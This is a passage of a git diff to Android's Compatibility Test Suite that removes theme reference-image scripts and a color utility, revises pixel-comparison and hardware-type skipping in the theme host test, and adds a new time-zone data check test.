+
+ result = execute_parallel(tasks, setup, device_queue, len(devices))
+
+ if result > 0:
+ print('Generated reference images for %(count)d devices' % {"count": result})
+ else:
+ print('Failed to generate reference images')
+
+
+if __name__ == '__main__':
+ main(sys.argv)
diff --git a/hostsidetests/theme/generate_images.sh b/hostsidetests/theme/generate_images.sh
deleted file mode 100755
index 129efc8..0000000
--- a/hostsidetests/theme/generate_images.sh
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/bin/sh
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This script is used to generate reference images for the CTS theme tests.
-# See the accompanying README file for more information.
-
-# retry <command> <tries> <message> <delay>
-function retry {
- RETRY="0"
- while true; do
- if (("$RETRY" >= "$2")); then
- echo $OUTPUT
- exit
- fi
-
- OUTPUT=`$1 |& grep error`
-
- if [ -z "$OUTPUT" ]; then
- break
- fi
-
- echo $3
- sleep $4
- RETRY=$[$RETRY + 1]
- done
-}
-
-themeApkPath="$ANDROID_HOST_OUT/cts/android-cts/testcases/CtsThemeDeviceApp.apk"
-outDir="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/assets"
-exe="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/run_theme_capture_device.py"
-
-if [ -z "$ANDROID_BUILD_TOP" ]; then
- echo "Missing environment variables. Did you run build/envsetup.sh and lunch?"
- exit
-fi
-
-if [ ! -e "$themeApkPath" ]; then
- echo "Couldn't find test APK. Did you run make cts?"
- exit
-fi
-
-adb devices
-python $exe $themeApkPath $outDir
diff --git a/hostsidetests/theme/run_theme_capture_device.py b/hostsidetests/theme/run_theme_capture_device.py
deleted file mode 100755
index d37864f..0000000
--- a/hostsidetests/theme/run_theme_capture_device.py
+++ /dev/null
@@ -1,180 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the 'License');
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-import os
-import sys
-import threading
-import time
-import traceback
-import Queue
-sys.path.append(sys.path[0])
-from android_device import *
-
-CTS_THEME_dict = {
- 120 : "ldpi",
- 160 : "mdpi",
- 240 : "hdpi",
- 320 : "xhdpi",
- 480 : "xxhdpi",
- 640 : "xxxhdpi",
-}
-
-OUT_FILE = "/sdcard/cts-theme-assets.zip"
-
-# pass a function with number of instances to be executed in parallel
-# each thread continues until config q is empty.
-def executeParallel(tasks, setup, q, numberThreads):
- class ParallelExecutor(threading.Thread):
- def __init__(self, tasks, q):
- threading.Thread.__init__(self)
- self._q = q
- self._tasks = tasks
- self._setup = setup
- self._result = 0
-
- def run(self):
- try:
- while True:
- config = q.get(block=True, timeout=2)
- for t in self._tasks:
- try:
- if t(self._setup, config):
- self._result += 1
- except KeyboardInterrupt:
- raise
- except:
- print "Failed to execute thread:", sys.exc_info()[0]
- traceback.print_exc()
- q.task_done()
- except KeyboardInterrupt:
- raise
- except Queue.Empty:
- pass
-
- def getResult(self):
- return self._result
-
- result = 0;
- threads = []
- for i in range(numberThreads):
- t = ParallelExecutor(tasks, q)
- t.start()
- threads.append(t)
- for t in threads:
- t.join()
- result += t.getResult()
- return result;
-
-def printAdbResult(device, out, err):
- print "device: " + device
- if out is not None:
- print "out:\n" + out
- if err is not None:
- print "err:\n" + err
-
-def getResDir(outPath, resName):
- resDir = outPath + "/" + resName
- return resDir
-
-def doCapturing(setup, deviceSerial):
- (themeApkPath, outPath) = setup
-
- print "Found device: " + deviceSerial
- device = androidDevice(deviceSerial)
-
- version = device.getVersionCodename()
- if version == "REL":
- version = str(device.getVersionSdkInt())
-
- density = device.getDensity()
-
- # Reference images generated for tv should not be categorized by density
- # rather by tv type. This is because TV uses leanback-specific material
- # themes.
- if CTS_THEME_dict.has_key(density):
- densityBucket = CTS_THEME_dict[density]
- else:
- densityBucket = str(density) + "dpi"
-
- resName = os.path.join(version, densityBucket)
-
- device.uninstallApk("android.theme.app")
-
- (out, err, success) = device.installApk(themeApkPath)
- if not success:
- print "Failed to install APK on " + deviceSerial
- printAdbResult(deviceSerial, out, err)
- return False
-
- print "Generating images on " + deviceSerial + "..."
- try:
- (out, err) = device.runInstrumentationTest("android.theme.app/android.support.test.runner.AndroidJUnitRunner")
- except KeyboardInterrupt:
- raise
- except:
- (out, err) = device.runInstrumentationTest("android.theme.app/android.test.InstrumentationTestRunner")
-
- # Detect test failure and abort.
- if "FAILURES!!!" in out.split():
- printAdbResult(deviceSerial, out, err)
- return False
-
- # Make sure that the run is complete by checking the process itself
- print "Waiting for " + deviceSerial + "..."
- waitTime = 0
- while device.isProcessAlive("android.theme.app"):
- time.sleep(1)
- waitTime = waitTime + 1
- if waitTime > 180:
- print "Timed out"
- break
-
- time.sleep(10)
- resDir = getResDir(outPath, resName)
-
- print "Pulling images from " + deviceSerial + " to " + resDir + ".zip"
- device.runAdbCommand("pull " + OUT_FILE + " " + resDir + ".zip")
- device.runAdbCommand("shell rm -rf " + OUT_FILE)
- return True
-
-def main(argv):
- if len(argv) < 3:
- print "run_theme_capture_device.py themeApkPath outDir"
- sys.exit(1)
- themeApkPath = argv[1]
- outPath = os.path.abspath(argv[2])
- os.system("mkdir -p " + outPath)
-
- tasks = []
- tasks.append(doCapturing)
-
- devices = runAdbDevices();
- numberThreads = len(devices)
-
- configQ = Queue.Queue()
- for device in devices:
- configQ.put(device)
- setup = (themeApkPath, outPath)
- result = executeParallel(tasks, setup, configQ, numberThreads)
-
- if result > 0:
- print 'Generated reference images for %(count)d devices' % {"count": result}
- else:
- print 'Failed to generate reference images'
-
-if __name__ == '__main__':
- main(sys.argv)
diff --git a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java b/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
deleted file mode 100644
index 0bbc9c7..0000000
--- a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.theme.cts;
-
-/**
- * A set of color-related utility methods, building upon those available in {@code Color}.
- */
-public class ColorUtils {
-
- private static final double XYZ_WHITE_REFERENCE_X = 95.047;
- private static final double XYZ_WHITE_REFERENCE_Y = 100;
- private static final double XYZ_WHITE_REFERENCE_Z = 108.883;
- private static final double XYZ_EPSILON = 0.008856;
- private static final double XYZ_KAPPA = 903.3;
-
- private ColorUtils() {}
-
- /**
- * Performs alpha blending of two colors using Porter-Duff SRC_OVER.
- *
- * @param src
- * @param dst
- */
- public static int blendSrcOver(int src, int dst) {
- int x = 255 - a(src);
- int Ar = clamp(a(src) + a(dst) * x);
- int Rr = clamp(r(src) + r(dst) * x);
- int Gr = clamp(g(src) + g(dst) * x);
- int Br = clamp(b(src) + b(dst) * x);
- return argb(Ar, Rr, Gr, Br);
- }
-
- private static int clamp(int value) {
- return value > 255 ? 255 : value < 0 ? 0 : value;
- }
-
- /**
- * Return a color-int from alpha, red, green, blue components.
- * These component values should be \([0..255]\), but there is no
- * range check performed, so if they are out of range, the
- * returned color is undefined.
- *
- * @param alpha Alpha component \([0..255]\) of the color
- * @param red Red component \([0..255]\) of the color
- * @param green Green component \([0..255]\) of the color
- * @param blue Blue component \([0..255]\) of the color
- */
- public static int argb(int alpha, int red, int green, int blue) {
- return (alpha << 24) | (red << 16) | (green << 8) | blue;
- }
-
- /**
- * Return the alpha component of a color int. This is the same as saying
- * color >>> 24
- */
- public static int a(int color) {
- return color >>> 24;
- }
-
- /**
- * Return the red component of a color int. This is the same as saying
- * (color >> 16) & 0xFF
- */
- public static int r(int color) {
- return (color >> 16) & 0xFF;
- }
-
- /**
- * Return the green component of a color int. This is the same as saying
- * (color >> 8) & 0xFF
- */
- public static int g(int color) {
- return (color >> 8) & 0xFF;
- }
-
- /**
- * Return the blue component of a color int. This is the same as saying
- * color & 0xFF
- */
- public static int b(int color) {
- return color & 0xFF;
- }
-
- /**
- * Convert the ARGB color to its CIE Lab representative components.
- *
- * @param color the ARGB color to convert. The alpha component is ignored
- * @param outLab 3-element array which holds the resulting LAB components
- */
- public static void colorToLAB(int color, double[] outLab) {
- RGBToLAB(r(color), g(color), b(color), outLab);
- }
-
- /**
- * Convert RGB components to its CIE Lab representative components.
- *
- * <ul>
- * <li>outLab[0] is L [0 ...1)</li>
- * <li>outLab[1] is a [-128...127)</li>
- * <li>outLab[2] is b [-128...127)</li>
- * </ul>
- *
- * @param r red component value [0..255]
- * @param g green component value [0..255]
- * @param b blue component value [0..255]
- * @param outLab 3-element array which holds the resulting LAB components
- */
- public static void RGBToLAB(int r, int g, int b, double[] outLab) {
- // First we convert RGB to XYZ
- RGBToXYZ(r, g, b, outLab);
- // outLab now contains XYZ
- XYZToLAB(outLab[0], outLab[1], outLab[2], outLab);
- // outLab now contains LAB representation
- }
-
- /**
- * Convert RGB components to its CIE XYZ representative components.
- *
- * <p>The resulting XYZ representation will use the D65 illuminant and the CIE
- * 2° Standard Observer (1931).</p>
- *
- * <ul>
- * <li>outXyz[0] is X [0 ...95.047)</li>
- * <li>outXyz[1] is Y [0...100)</li>
- * <li>outXyz[2] is Z [0...108.883)</li>
- * </ul>
- *
- * @param r red component value [0..255]
- * @param g green component value [0..255]
- * @param b blue component value [0..255]
- * @param outXyz 3-element array which holds the resulting XYZ components
- */
- public static void RGBToXYZ(int r, int g, int b, double[] outXyz) {
- if (outXyz.length != 3) {
- throw new IllegalArgumentException("outXyz must have a length of 3.");
- }
-
- double sr = r / 255.0;
- sr = sr < 0.04045 ? sr / 12.92 : Math.pow((sr + 0.055) / 1.055, 2.4);
- double sg = g / 255.0;
- sg = sg < 0.04045 ? sg / 12.92 : Math.pow((sg + 0.055) / 1.055, 2.4);
- double sb = b / 255.0;
- sb = sb < 0.04045 ? sb / 12.92 : Math.pow((sb + 0.055) / 1.055, 2.4);
-
- outXyz[0] = 100 * (sr * 0.4124 + sg * 0.3576 + sb * 0.1805);
- outXyz[1] = 100 * (sr * 0.2126 + sg * 0.7152 + sb * 0.0722);
- outXyz[2] = 100 * (sr * 0.0193 + sg * 0.1192 + sb * 0.9505);
- }
-
- /**
- * Converts a color from CIE XYZ to CIE Lab representation.
- *
- * <p>This method expects the XYZ representation to use the D65 illuminant and the CIE
- * 2° Standard Observer (1931).</p>
- *
- * <ul>
- * <li>outLab[0] is L [0 ...1)</li>
- * <li>outLab[1] is a [-128...127)</li>
- * <li>outLab[2] is b [-128...127)</li>
- * </ul>
- *
- * @param x X component value [0...95.047)
- * @param y Y component value [0...100)
- * @param z Z component value [0...108.883)
- * @param outLab 3-element array which holds the resulting Lab components
- */
- public static void XYZToLAB(double x, double y, double z, double[] outLab) {
- if (outLab.length != 3) {
- throw new IllegalArgumentException("outLab must have a length of 3.");
- }
- x = pivotXyzComponent(x / XYZ_WHITE_REFERENCE_X);
- y = pivotXyzComponent(y / XYZ_WHITE_REFERENCE_Y);
- z = pivotXyzComponent(z / XYZ_WHITE_REFERENCE_Z);
- outLab[0] = Math.max(0, 116 * y - 16);
- outLab[1] = 500 * (x - y);
- outLab[2] = 200 * (y - z);
- }
-
- private static double pivotXyzComponent(double component) {
- return component > XYZ_EPSILON
- ? Math.pow(component, 1 / 3.0)
- : (XYZ_KAPPA * component + 16) / 116;
- }
-}
diff --git a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
index 945bebd..371e1a9 100755
--- a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
+++ b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
@@ -41,7 +41,7 @@
private static final int GRAY = 0xFF808080;
/** Maximum allowable number of consecutive failed pixels. */
- private static final int MAX_CONSECUTIVE_FAILURES = 2;
+ private static final int MAX_CONSECUTIVE_FAILURES = 1;
private final String mName;
private final File mExpected;
@@ -87,43 +87,6 @@
return (color & 0xFF000000) >>> 24;
}
- /**
- * Verifies that the pixels of reference and generated images are similar
- * within a specified threshold.
- *
- * @param expected expected image
- * @param actual actual image
- * @param threshold maximum difference per channel
- * @return {@code true} if the images are similar, false otherwise
- */
- private static boolean checkNeighbors(int x, int y, BufferedImage reference,
- BufferedImage generated, int threshold) {
- final int w = generated.getWidth();
- final int h = generated.getHeight();
- for (int i = x - MAX_CONSECUTIVE_FAILURES; i <= x + MAX_CONSECUTIVE_FAILURES; i++) {
- if (i >= 0 && i != x && i < w) {
- for (int j = y - MAX_CONSECUTIVE_FAILURES; j <= y + MAX_CONSECUTIVE_FAILURES; j++) {
- if (j >= 0 && j != y && j < h) {
- final int p1 = reference.getRGB(i, j);
- final int p2 = generated.getRGB(i, j);
-
- final int dr = getAlphaScaledRed(p1) - getAlphaScaledRed(p2);
- final int dg = getAlphaScaledGreen(p1) - getAlphaScaledGreen(p2);
- final int db = getAlphaScaledBlue(p1) - getAlphaScaledBlue(p2);
-
- if (Math.abs(db) <= threshold &&
- Math.abs(dg) <= threshold &&
- Math.abs(dr) <= threshold) {
- // If we find at least one matching neighbor, we assume the difference
- // is in antialiasing.
- return true;
- }
- }
- }
- }
- }
- return false;
- }
/**
* Verifies that the pixels of reference and generated images are similar
@@ -144,6 +107,7 @@
double maxDist = 0;
for (int i = 0; i < w; i++) {
+ int consecutive = 0;
for (int j = 0; j < h; j++) {
final int p1 = reference.getRGB(i, j);
@@ -157,10 +121,15 @@
Math.abs(dg) > threshold ||
Math.abs(dr) > threshold) {
System.err.println("fail dr=" + dr+ " dg=" + dg+ " db=" + db);
- if (!checkNeighbors(i, j, reference, generated, threshold)) {
+
+ consecutive++;
+
+ if (consecutive > MAX_CONSECUTIVE_FAILURES) {
System.err.println("consecutive fail");
return false;
}
+ } else {
+ consecutive = 0;
}
}
}
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 6216995..e559f18 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -66,12 +66,6 @@
private static final String HARDWARE_TYPE_CMD = "dumpsys | grep android.hardware.type";
private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
- private static final Pattern sCurrentUiModePattern = Pattern.compile("mCurUiMode=0x(\\d+)");
- private static final Pattern sUiModeLockedPattern =
- Pattern.compile("mUiModeLocked=(true|false)");
-
- private static final int UI_MODE_TYPE_MASK = 0x0f;
- private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
/** Shell command used to obtain current device density. */
private static final String WM_DENSITY = "wm density";
@@ -89,62 +83,22 @@
private ExecutorCompletionService<Pair<String, File>> mCompletionService;
- /** the string identifying the hardware type. */
- private String mHardwareType;
-
- private static boolean mVrHeadset;
@Override
protected void setUp() throws Exception {
super.setUp();
mDevice = getDevice();
- mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
- final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+ final String density = getDensityBucketForDevice(mDevice);
final String referenceZipAssetPath = String.format("/%s.zip", density);
mReferences = extractReferenceImages(referenceZipAssetPath);
final int numCores = Runtime.getRuntime().availableProcessors();
mExecutionService = Executors.newFixedThreadPool(numCores * 2);
mCompletionService = new ExecutorCompletionService<>(mExecutionService);
- mVrHeadset = isUiModeLockedToVrHeadset();
}
- protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
- final String output = mDevice.executeShellCommand(command);
- return output;
- }
-
- // TODO: Switch to using a feature flag, when available.
- protected boolean isUiModeLockedToVrHeadset() throws DeviceNotAvailableException {
- final String output = runCommandAndPrintOutput("dumpsys uimode");
-
- Integer curUiMode = null;
- Boolean uiModeLocked = null;
- for (String line : output.split("\\n")) {
- line = line.trim();
- Matcher matcher = sCurrentUiModePattern.matcher(line);
- if (matcher.find()) {
- curUiMode = Integer.parseInt(matcher.group(1), 16);
- }
- matcher = sUiModeLockedPattern.matcher(line);
- if (matcher.find()) {
- uiModeLocked = matcher.group(1).equals("true");
- }
- }
-
- boolean uiModeLockedToVrHeadset = (curUiMode != null) && (uiModeLocked != null)
- && ((curUiMode & UI_MODE_TYPE_MASK) == UI_MODE_TYPE_VR_HEADSET) && uiModeLocked;
-
- if (uiModeLockedToVrHeadset) {
- Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "UI mode is locked to VR headset");
- }
-
- return uiModeLockedToVrHeadset;
- }
-
-
private Map<String, File> extractReferenceImages(String zipFile) throws Exception {
final Map<String, File> references = new HashMap<>();
final InputStream zipStream = ThemeHostTest.class.getResourceAsStream(zipFile);
@@ -167,7 +121,7 @@
fail("Failed to unzip assets: " + zipFile);
}
} else {
- if (checkHardwareTypeSkipTest(mHardwareType)) {
+ if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
Log.logAndDisplay(LogLevel.WARN, LOG_TAG,
"Could not obtain resources for skipped themes test: " + zipFile);
} else {
@@ -189,9 +143,8 @@
}
public void testThemes() throws Exception {
- if (checkHardwareTypeSkipTest(mHardwareType)) {
- Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
- "Skipped themes test for watch / TV / VR headset");
+ if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+ Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV");
return;
}
@@ -275,11 +228,7 @@
return receiver.getOutput().contains("OK ");
}
- private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
- if (hardwareType.contains("android.hardware.type.television")) {
- // references images for tv are under bucket "tvdpi".
- return "tvdpi";
- }
+ private static String getDensityBucketForDevice(ITestDevice device) {
final int density;
try {
density = getDensityForDevice(device);
@@ -294,6 +243,9 @@
case 160:
bucket = "mdpi";
break;
+ case 213:
+ bucket = "tvdpi";
+ break;
case 240:
bucket = "hdpi";
break;
@@ -333,10 +285,8 @@
return Integer.parseInt(device.getProperty(densityProp));
}
- /** Check the hardware type and skip if it is - TV/Watch/VrHeadset. */
private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
return hardwareTypeString.contains("android.hardware.type.watch")
- || hardwareTypeString.contains("android.hardware.type.television")
- || mVrHeadset;
+ || hardwareTypeString.contains("android.hardware.type.television");
}
}
diff --git a/hostsidetests/trustedvoice/Android.mk b/hostsidetests/trustedvoice/Android.mk
index d80f725..34806f3 100644
--- a/hostsidetests/trustedvoice/Android.mk
+++ b/hostsidetests/trustedvoice/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.trustedvoice
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/trustedvoice/app/Android.mk b/hostsidetests/trustedvoice/app/Android.mk
index 7a759d8..5127579 100644
--- a/hostsidetests/trustedvoice/app/Android.mk
+++ b/hostsidetests/trustedvoice/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsTrustedVoiceApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/tv/Android.mk b/hostsidetests/tv/Android.mk
index cb5e2bd..79f976a 100644
--- a/hostsidetests/tv/Android.mk
+++ b/hostsidetests/tv/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.tv.hostsidetv
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index 454d352..5ffdeb4 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -30,6 +30,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index 166baec..76ae765 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
new file mode 100644
index 0000000..50c22ab
--- /dev/null
+++ b/hostsidetests/tzdata/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsHostTzDataTests
+
+LOCAL_JAVA_LIBRARIES := tradefed
+
+LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
+
+LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
new file mode 100644
index 0000000..1a2716e
--- /dev/null
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS tzdatacheck host test cases">
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsHostTzDataTests.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
new file mode 100644
index 0000000..2e9707c
--- /dev/null
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -0,0 +1,977 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.tzdata;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.timezone.distro.DistroVersion;
+import com.android.timezone.distro.TimeZoneDistro;
+import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Comparator;
+import java.util.StringJoiner;
+import java.util.function.Consumer;
+import libcore.tzdata.testing.ZoneInfoTestHelper;
+
+import static org.junit.Assert.assertArrayEquals;
+
+/**
+ * Tests for the tzdatacheck binary.
+ *
+ * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
+ * time zone rules in the system image, and a "data directory" in the data partition which can
+ * optionally contain time zone rules data files for bionic/libcore and ICU.
+ *
+ * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
+ * simulated situations; simulated system and data directories in various states are created in a
+ * location the shell user has permission to access and the tzdatacheck binary is then executed.
+ * The status code and directory state after execution is then used to determine if the tzdatacheck
+ * binary operated correctly.
+ *
+ * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
+ * on the host before pushing them to the device. Device state is then checked rather than syncing
+ * the files back.
+ */
+public class TzDataCheckTest extends DeviceTestCase {
+
+ /**
+ * The name of the directory containing the current time zone rules data beneath
+ * {@link #mDataDir}. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+ * tzdatacheck.cpp.
+ */
+ private static final String CURRENT_DIR_NAME = "current";
+
+ /**
+ * The name of the directory containing the staged time zone rules data beneath
+ * {@link #mDataDir}. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+ * tzdatacheck.cpp.
+ */
+ private static final String STAGED_DIR_NAME = "staged";
+
+ /**
+ * The name of the file inside the staged directory that indicates the staged operation is an
+ * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+ * tzdatacheck.cpp.
+ */
+ private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
+
+ /**
+ * The name of the /system time zone data file. Also known to
+ * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+ */
+ private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+
+ /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
+ private static final String RULES_VERSION_ONE = "2016g";
+ /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
+ private static final String RULES_VERSION_TWO = "2016h";
+ /**
+ * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
+ * version is.
+ */
+ private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
+
+ /** An arbitrary valid revision number. */
+ private static final int VALID_REVISION = 1;
+
+ private String mDeviceAndroidRootDir;
+ private PathPair mTestRootDir;
+ private PathPair mSystemDir;
+ private PathPair mDataDir;
+
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
+ // value first to do so. It has been hardcoded instead.
+ mDeviceAndroidRootDir = "/system";
+
+ // Create a test root directory on host and device.
+ Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
+ mTestRootDir = new PathPair(
+ hostTestRootDir,
+ "/data/local/tmp/tzdatacheck_test");
+ createDeviceDirectory(mTestRootDir);
+
+ // tzdatacheck requires two directories: a "system" path and a "data" path.
+ mSystemDir = mTestRootDir.createSubPath("system_dir");
+ mDataDir = mTestRootDir.createSubPath("data_dir");
+
+ // Create the host-side directory structure (for preparing files before pushing them to
+ // device and looking at files retrieved from device).
+ createHostDirectory(mSystemDir);
+ createHostDirectory(mDataDir);
+
+ // Create the equivalent device-side directory structure for receiving files.
+ createDeviceDirectory(mSystemDir);
+ createDeviceDirectory(mDataDir);
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ // Remove the test root directories that have been created by this test.
+ deleteHostDirectory(mTestRootDir, true /* failOnError */);
+ deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
+ super.tearDown();
+ }
+
+ public void testTooFewArgs() throws Exception {
+ // No need to set up or push files to the device for this test.
+ assertEquals(1, runTzDataCheckWithArgs(new String[0]));
+ assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
+ }
+
+ // {dataDir}/staged exists but it is a file.
+ public void testStaging_stagingDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
